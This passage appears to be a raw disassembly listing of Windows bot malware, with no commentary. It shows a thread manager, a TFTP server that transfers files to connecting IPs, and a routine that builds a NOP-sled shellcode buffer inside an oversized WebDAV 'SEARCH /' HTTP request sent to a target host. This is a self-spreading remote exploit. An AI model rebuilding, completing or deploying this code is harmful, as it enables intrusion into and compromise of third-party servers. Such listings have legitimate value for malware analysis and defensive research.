		push	offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
		lea	eax, [ebp+var_410]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 18h
		cmp	[ebp+var_70], esi
		jnz	loc_410516
		jmp	loc_4104F6
sub_41046C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_410A22	proc near		; CODE XREF: sub_410A22:loc_410EDBp
					; DATA XREF: sub_401141+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 884h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+74h+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		push	ebx
		xor	eax, eax
		inc	eax
		mov	esi, edx
		push	2
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_37C]
		rep movsd
		inc	[ebp+74h+var_16C]
		push	2
		mov	[ebp+74h+var_10], eax
		mov	[edx+2A0h], eax
		call	dword_4334A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+74h+var_4], esi
		jnz	short loc_410ADE
		push	190h
		call	ds:dword_41F000	; Sleep
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_410AC1
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4045DD
		add	esp, 14h


loc_410AC1:				; CODE XREF: sub_410A22+7Dj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_170]
		call	sub_4111AE
		pop	ecx
		jmp	loc_410EC7
; ---------------------------------------------------------------------------


loc_410ADE:				; CODE XREF: sub_410A22+52j
		mov	eax, [ebp+74h+var_170]
		push	[ebp+74h+var_168]
		imul	eax, 234h
		mov	dword_434344[eax], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_44]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_44], 2
		call	dword_4335EC	; ntohs
		mov	[ebp+74h+var_42], ax
		push	10h
		lea	eax, [ebp+74h+var_44]
		push	eax
		push	esi
		mov	[ebp+74h+var_40], ebx
		call	dword_433578	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410B3D
		push	1388h
		call	ds:dword_41F000	; Sleep
		dec	[ebp+74h+var_16C]
		push	[ebp+74h+arg_0]
		jmp	loc_410EDB
; ---------------------------------------------------------------------------


loc_410B3D:				; CODE XREF: sub_410A22+100j
		lea	eax, [ebp+74h+var_378]
		push	offset dword_41F968
		push	eax
		call	sub_413393
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_8], eax
		jnz	short loc_410BB6
		push	190h
		call	ds:dword_41F000	; Sleep
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
		push	eax
		call	sub_412BB5
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4045DD
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_170]
		call	sub_4111AE
		add	esp, 28h
		jmp	loc_410EC8
; ---------------------------------------------------------------------------


loc_410BB6:				; CODE XREF: sub_410A22+133j
		mov	esi, 200h


loc_410BBB:				; CODE XREF: sub_410A22+471j
		mov	edi, [ebp+74h+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_410E9C
		mov	eax, [ebp+74h+var_4]
		push	20h
		pop	ecx
		mov	[ebp+74h+var_880], eax
		xor	eax, eax
		lea	edi, [ebp+74h+var_D8]
		rep stosd
		lea	eax, [ebp+74h+var_34]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_884]
		push	eax
		push	ebx
		mov	[ebp+74h+var_34], 5
		mov	[ebp+74h+var_30], 1388h
		mov	[ebp+74h+var_884], 1
		call	dword_433544	; select
		test	eax, eax
		jle	loc_410E90
		xor	eax, eax
		mov	edx, 80h
		mov	[ebp+74h+var_580], bl
		mov	ecx, edx
		lea	edi, [ebp+74h+var_57F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	edx
		lea	eax, [ebp+74h+var_D8]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_C], 10h
		call	dword_433438	; recvfrom
		push	[ebp+74h+var_28]
		mov	[ebp+74h+var_10], eax
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		call	sub_412BB5
		cmp	[ebp+74h+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_410E78
		cmp	[ebp+74h+var_D7], 1
		jnz	loc_410DD3
		lea	eax, [ebp+74h+var_274]
		lea	edx, [eax+1]


loc_410C7D:				; CODE XREF: sub_410A22+260j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_410C7D
		sub	eax, edx
		mov	[ebp+74h+var_14], eax
		lea	eax, [ebp+74h+var_274]
		lea	edi, [eax+1]


loc_410C92:				; CODE XREF: sub_410A22+275j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_410C92
		sub	eax, edi
		push	eax
		lea	eax, [ebp+74h+var_D6]
		push	eax
		lea	eax, [ebp+74h+var_274]
		push	eax
		call	sub_414380
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_410D91
		lea	eax, [ebp+74h+var_1C]
		lea	edx, [eax+1]


loc_410CBD:				; CODE XREF: sub_410A22+2A0j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_410CBD
		sub	eax, edx
		push	eax
		mov	eax, [ebp+74h+var_14]
		lea	eax, [ebp+eax+74h+var_D5]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		call	sub_414380
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_410D91
		push	ebx
		push	ebx
		push	[ebp+74h+var_8]
		call	sub_414898
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		mov	[ebp+74h+var_57E], bl
		mov	[ebp+74h+var_57D], 1
		call	sub_41313E
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		lea	ecx, [ebp+74h+var_2C]
		push	ecx
		mov	[ebp+74h+var_10], eax
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_433470	; sendto
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	started	to IP: %s"...


loc_410D4B:				; CODE XREF: sub_410A22+451j
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_410D7F
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4045DD
		add	esp, 14h


loc_410D7F:				; CODE XREF: sub_410A22+33Bj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401C33
		pop	ecx
		jmp	loc_410E90
; ---------------------------------------------------------------------------


loc_410D91:				; CODE XREF: sub_410A22+28Fj
					; sub_410A22+2BBj
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42734C
		push	[ebp+74h+var_4]
		call	dword_433470	; sendto
		lea	eax, [ebp+74h+var_274]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		lea	eax, [ebp+74h+var_D8]
		push	offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+74h+var_D8]
		push	eax
		call	sub_401C33
		add	esp, 14h
		jmp	loc_410E90
; ---------------------------------------------------------------------------


loc_410DD3:				; CODE XREF: sub_410A22+24Cj
		cmp	[ebp+74h+var_D7], 4
		jnz	loc_410E78
		mov	cl, [ebp+74h+var_D5]
		cmp	cl, 0FFh
		mov	al, [ebp+74h+var_D6]
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		jnz	short loc_410E01
		inc	al
		xor	cl, cl
		mov	[ebp+74h+var_57D], bl
		jmp	short loc_410E09
; ---------------------------------------------------------------------------


loc_410E01:				; CODE XREF: sub_410A22+3D1j
		inc	cl
		mov	[ebp+74h+var_57D], cl


loc_410E09:				; CODE XREF: sub_410A22+3DDj
		mov	[ebp+74h+var_57E], al
		movzx	eax, al
		shl	eax, 8
		movzx	ecx, cl
		add	eax, ecx
		shl	eax, 9
		push	ebx
		sub	eax, esi
		push	eax
		push	[ebp+74h+var_8]
		call	sub_414898
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_41313E
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		mov	edi, eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_10], edi
		call	dword_433470	; sendto
		cmp	edi, ebx
		jnz	short loc_410E90
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTran_0 ; "[TFTP]: File transfer	complete to IP:	%"...
		jmp	loc_410D4B
; ---------------------------------------------------------------------------


loc_410E78:				; CODE XREF: sub_410A22+242j
					; sub_410A22+3B5j
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4272EC
		push	[ebp+74h+var_4]
		call	dword_433470	; sendto


loc_410E90:				; CODE XREF: sub_410A22+1E9j
					; sub_410A22+36Aj ...
		cmp	[ebp+74h+var_10], ebx
		jg	loc_410BBB
		mov	edi, [ebp+74h+arg_0]


loc_410E9C:				; CODE XREF: sub_410A22+1A2j
		push	[ebp+74h+var_4]
		call	dword_4335AC	; closesocket
		push	[ebp+74h+var_8]
		call	sub_412F93
		dec	[ebp+74h+var_16C]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_410ECF
		push	[ebp+74h+var_170]
		call	sub_4111AE


loc_410EC7:				; CODE XREF: sub_410A22+B7j
		pop	ecx


loc_410EC8:				; CODE XREF: sub_410A22+18Fj
		push	ebx
		call	ds:dword_41F014	; ExitThread


loc_410ECF:				; CODE XREF: sub_410A22+498j
		push	3E8h
		call	ds:dword_41F000	; Sleep
		push	edi


loc_410EDB:				; CODE XREF: sub_410A22+116j
		call	sub_410A22
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_410A22	endp


; =============== S U B	R O U T	I N E =======================================



sub_410EEA	proc near		; CODE XREF: sub_401141+F0p
					; sub_401141+23Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_434138


loc_410EF2:				; CODE XREF: sub_410EEA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_410F06
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_478EC8
		jl	short loc_410EF2
		jmp	short loc_410F51
; ---------------------------------------------------------------------------


loc_410F06:				; CODE XREF: sub_410EEA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_434138[esi]
		push	eax
		call	sub_412C40
		mov	eax, [esp+14h+arg_4]
		and	dword_43433C[esi], 0
		and	dword_434340[esi], 0
		mov	dword_434338[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_434350[esi], 0
		mov	dword_434344[esi], eax
		pop	esi


loc_410F51:				; CODE XREF: sub_410EEA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_410EEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F55	proc near		; CODE XREF: sub_4111EB+31p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_434138


loc_410F7F:				; CODE XREF: sub_410F55+78j
		cmp	byte ptr [esi],	0
		jz	short loc_410FC0
		cmp	[ebp+arg_C], 0
		jnz	short loc_410F93
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_410FC0


loc_410F93:				; CODE XREF: sub_410F55+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 24h


loc_410FC0:				; CODE XREF: sub_410F55+2Dj
					; sub_410F55+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_478EC8
		jl	short loc_410F7F
		pop	edi
		pop	esi
		leave
		retn
sub_410F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_410FD3	proc near		; CODE XREF: sub_4078FA+38DCp
					; sub_41105B+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_411055
		cmp	esi, 1F4h
		jge	short loc_411055
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_43434C[esi]
		push	dword ptr [edi]
		call	ds:dword_41F0C8	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_411005
		inc	ebp


loc_411005:				; CODE XREF: sub_410FD3+2Fj
		mov	[edi], ebx
		lea	edi, dword_434340[esi]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	dword_434338[esi], ebx
		mov	dword_43433C[esi], ebx
		jbe	short loc_411026
		push	eax
		call	sub_4074C6
		pop	ecx


loc_411026:				; CODE XREF: sub_410FD3+4Aj
		mov	[edi], ebx
		lea	edi, dword_434344[esi]
		push	dword ptr [edi]
		mov	byte ptr dword_434138[esi], bl
		mov	byte_434350[esi], bl
		call	dword_4335AC	; closesocket
		lea	esi, dword_434348[esi]
		push	dword ptr [esi]
		mov	[edi], ebx
		call	dword_4335AC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_411055:				; CODE XREF: sub_410FD3+Dj
					; sub_410FD3+15j
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_410FD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41105B	proc near		; CODE XREF: sub_402795+18p
					; sub_4078FA+3895p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_434138


loc_411067:				; CODE XREF: sub_41105B+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_411078
		push	edi
		call	sub_410FD3
		test	eax, eax
		pop	ecx
		jz	short loc_411078
		inc	ebx


loc_411078:				; CODE XREF: sub_41105B+Fj
					; sub_41105B+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_478EC8
		jl	short loc_411067
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_41105B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41108D	proc near		; CODE XREF: sub_411120+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43433C


loc_4110A1:				; CODE XREF: sub_41108D+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4110C3
		test	edi, edi
		jle	short loc_4110B5
		cmp	[esi], edi
		jz	short loc_4110B5
		cmp	ebx, edi
		jnz	short loc_4110C3


loc_4110B5:				; CODE XREF: sub_41108D+1Ej
					; sub_41108D+22j
		push	ebx
		call	sub_410FD3
		test	eax, eax
		pop	ecx
		jz	short loc_4110C3
		inc	[ebp+var_4]


loc_4110C3:				; CODE XREF: sub_41108D+1Aj
					; sub_41108D+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4790CC
		jl	short loc_4110A1
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41108D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110DA	proc near		; CODE XREF: sub_4010CA+Bp
					; sub_401141+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_434338


loc_4110E1:				; CODE XREF: sub_4110DA+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4110EA
		inc	eax


loc_4110EA:				; CODE XREF: sub_4110DA+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4790C8
		jl	short loc_4110E1
		retn
sub_4110DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110F9	proc near		; CODE XREF: sub_4078FA+4139p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_434338
		push	esi


loc_411103:				; CODE XREF: sub_4110F9+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41111C
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4790C8
		jl	short loc_411103
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_4110F9+10j
		mov	eax, edx
		pop	esi
		retn
sub_4110F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411120	proc near		; CODE XREF: sub_4078FA+1EA8p
					; sub_4078FA+4863p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_411139
		push	[ebp+arg_1C]
		call	sub_412F42
		pop	ecx


loc_411139:				; CODE XREF: sub_411120+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_41108D
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_411165
		push	eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_41117F
; ---------------------------------------------------------------------------


loc_411165:				; CODE XREF: sub_411120+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_412BB5
		add	esp, 10h


loc_41117F:				; CODE XREF: sub_411120+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41119F
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_41119F:				; CODE XREF: sub_411120+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		pop	ecx
		leave
		retn
sub_411120	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111AE	proc near		; CODE XREF: sub_40169B+227p
					; sub_4018D1+244p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 234h
		xor	ecx, ecx
		mov	dword_43434C[eax], ecx
		mov	dword_434338[eax], ecx
		mov	dword_43433C[eax], ecx
		mov	dword_434340[eax], ecx
		mov	dword_434344[eax], ecx
		mov	dword_434348[eax], ecx
		mov	byte ptr dword_434138[eax], cl
		mov	byte_434350[eax], cl
		retn
sub_4111AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4111EB	proc near		; DATA XREF: sub_4078FA+46CCo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		push	[ebp+74h+var_10]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_410F55
		push	[ebp+74h+var_14]
		call	sub_4111AE
		add	esp, 14h
		push	0
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_4111EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411235	proc near		; CODE XREF: sub_40169B+1F8p
					; DATA XREF: .data:off_42A06Co

var_1210	= byte ptr -1210h
var_11AC	= byte ptr -11ACh
var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_98		= byte ptr  0A0h
arg_124		= dword	ptr  12Ch
arg_12C		= dword	ptr  134h
arg_134		= dword	ptr  13Ch
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		mov	eax, 1210h
		call	sub_412DD0
		push	6
		push	1
		push	2
		call	dword_4334A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41125A
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41125A:				; CODE XREF: sub_411235+1Fj
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_124]
		call	dword_4335EC	; ntohs
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_433514	; inet_addr
		push	186A0h
		call	sub_41344D
		mov	edi, 1000h
		push	edi
		mov	ebx, eax
		call	sub_41344D
		pop	ecx
		pop	ecx
		push	offset byte_42AED0
		push	[ebp+arg_0]
		mov	esi, eax
		mov	[ebp+var_C], esi
		call	sub_406C33
		pop	ecx
		push	eax
		push	edi
		push	esi
		call	sub_40F790
		add	esp, 10h
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_4112CF
		push	ebx
		call	sub_412FE4
		push	esi
		call	sub_412FE4
		pop	ecx
		pop	ecx
		push	[ebp+var_10]


loc_4112C2:				; CODE XREF: sub_411235+27Bj
		call	dword_4335AC	; closesocket
		xor	eax, eax
		jmp	loc_41154F
; ---------------------------------------------------------------------------


loc_4112CF:				; CODE XREF: sub_411235+7Aj
		push	19h
		mov	eax, 90909090h
		pop	ecx
		lea	edi, [ebp+var_1210]
		rep stosd
		mov	ecx, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_11AC]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	ecx, 61A8h
		mov	edi, ebx
		rep stosd
		mov	esi, offset aSearch ; "SEARCH /"
		mov	edi, ebx
		movsd
		movsd
		mov	eax, ebx
		movsb
		lea	esi, [eax+1]


loc_411310:				; CODE XREF: sub_411235+E0j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411310
		sub	eax, esi
		mov	esi, eax
		lea	edx, [esi+1]
		lea	eax, [esi+866h]
		cmp	edx, eax
		mov	byte ptr [esi+ebx], 90h
		jnb	short loc_41134E
		sub	eax, edx
		dec	eax
		shr	eax, 1
		inc	eax
		mov	ecx, eax
		mov	[ebp+var_4], ecx
		shr	ecx, 1
		lea	edi, [edx+ebx]
		mov	eax, 0B102B102h
		rep stosd
		adc	ecx, ecx
		rep stosw
		mov	eax, [ebp+var_4]
		lea	edx, [edx+eax*2]


loc_41134E:				; CODE XREF: sub_411235+F5j
		mov	eax, offset loc_42B408
		mov	edi, eax
		lea	ecx, [edi+1]
		mov	[ebp+var_4], ecx


loc_41135B:				; CODE XREF: sub_411235+12Bj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_41135B
		sub	edi, [ebp+var_4]
		jmp	short loc_41137C
; ---------------------------------------------------------------------------


loc_411367:				; CODE XREF: sub_411235+155j
		lea	ecx, [edi+1]
		mov	byte ptr [edx+ebx], 90h
		inc	edx
		mov	[ebp+var_4], ecx


loc_411372:				; CODE XREF: sub_411235+142j
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_411372
		sub	edi, [ebp+var_4]


loc_41137C:				; CODE XREF: sub_411235+130j
		mov	ecx, esi
		sub	ecx, edi
		add	ecx, 0FFFFh
		cmp	edx, ecx
		mov	edi, eax
		jb	short loc_411367
		lea	esi, [edi+1]


loc_41138F:				; CODE XREF: sub_411235+15Fj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_41138F
		sub	edi, esi
		mov	ecx, edi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [edx+ebx]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		dec	edi


loc_4113B0:				; CODE XREF: sub_411235+181j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4113B0
		mov	esi, offset aHttp1_1 ; " HTTP/1.1\r\n"
		movsd
		movsd
		movsd
		mov	esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
		mov	eax, esi
		lea	edi, [eax+1]


loc_4113CA:				; CODE XREF: sub_411235+19Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4113CA
		sub	eax, edi
		mov	edi, eax
		mov	eax, ebx
		lea	ecx, [eax+1]


loc_4113DA:				; CODE XREF: sub_411235+1AAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4113DA
		sub	eax, ecx
		mov	ecx, [ebp+var_8]
		add	edi, ecx
		push	edi
		lea	ecx, [ebp+arg_4]
		push	ecx
		add	eax, ebx
		push	offset aHostSContentTy ; "Host:	%s\r\nContent-Type: text/xml\r\nConte"...
		push	eax
		call	sub_412BB5
		add	esp, 10h
		mov	eax, esi


loc_4113FF:				; CODE XREF: sub_411235+1CFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4113FF
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_41140B:				; CODE XREF: sub_411235+1DCj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_41140B
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_411426:				; CODE XREF: sub_411235+1F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411426
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 1010101h
		lea	edi, [ecx+ebx]
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_41143F:				; CODE XREF: sub_411235+20Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41143F
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 90909090h
		lea	edi, [ecx+ebx]
		stosw
		stosb
		mov	eax, ebx
